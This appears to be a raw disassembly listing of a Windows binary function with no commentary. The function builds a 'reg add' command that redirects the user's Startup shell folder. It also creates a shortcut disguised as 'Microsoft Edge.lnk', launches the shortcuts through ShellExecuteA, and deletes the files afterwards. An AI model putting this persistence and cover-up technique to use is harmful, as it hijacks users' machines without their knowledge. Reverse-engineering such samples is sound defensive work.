nop
lea rcx, [rbp + 0x20]
call fcn.140006e60
nop
lea rcx, [rbp - 0x20]
call fcn.140006e60
nop
lea rcx, [rbp]
call fcn.140006e60
lea rcx, [rbp + 0x150]
call fcn.140006a40
nop
lea rcx, [rbp + 0x350]
call fcn.140004130
mov rcx, qword [rbp + 0x160]
jmp 0x140003c10
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400026e0
mov r9, rax
lea r8, [rbp + 0x4d0]
lea rdx, str._sqiqi_s
lea rcx, [rbp + 0x6f0]
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rbp + 0x6f0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.1400026e0
mov r9, rax
lea r8, [rbp + 0x6f0]
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x910]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, r14
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0xe60]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xe60]
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x910]
call fcn.1400027f0
call fcn.1400026e0
mov r9, rax
mov r8, r14
lea rdx, str._sMicrosoft_Edge.lnk
lea rcx, [rbp + 0x1080]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x3c0]
lea rdx, str.__s_
lea rcx, [rbp + 0xf70]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xf70]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x1080]
call fcn.1400027f0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x6f0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x140003f32
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [0x140002ad0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x5e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x140003f74
xor edx, edx
lea rcx, [0x140002ad0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x910]
call fcn.140019c28
lea rcx, [rbp + 0x800]
call fcn.140019c28
lea rcx, [rbp + 0xa20]
call fcn.140019c28
lea rcx, [rbp + 0xb30]
call fcn.140019c28
lea rcx, [rbp + 0x6f0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
nop
lea rcx, [rbp + 0x2c0]
call fcn.1400041d0
nop
lea rcx, [rbp + 0x150]
call fcn.1400041d0
nop
lea rcx, [rbp + 0x250]
call fcn.140004130
nop
lea rcx, [rbp + 0x220]
call fcn.140006bc0
nop
lea rcx, [rbp + 0x40]
call fcn.140006e60
nop
lea rcx, [rbp + 0xa0]
call fcn.140006da0
nop
lea rcx, [rbp + 0xb8]
call fcn.140006da0
nop
lea rcx, [rbp + 0x60]
call fcn.140006e60
nop
lea rcx, [rbp + 0x110]
call fcn.140006e60
nop
lea rcx, [rbp + 0x200]
call fcn.140006e60
nop
lea rcx, [rbp + 0xd0]
call fcn.140006e60
nop
lea rcx, [rbp + 0x80]
call fcn.140006e60
nop
lea rcx, [rbp + 0x130]
call fcn.140006e60
nop
lea rcx, [rbp + 0x1e0]
call fcn.140006e60
nop
lea rcx, [rbp + 0xf0]
call fcn.140006e60
mov rcx, qword [rbp + 0x1190]
xor rcx, rsp
call fcn.140012e50
lea r11, [rsp + 0x12c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
int3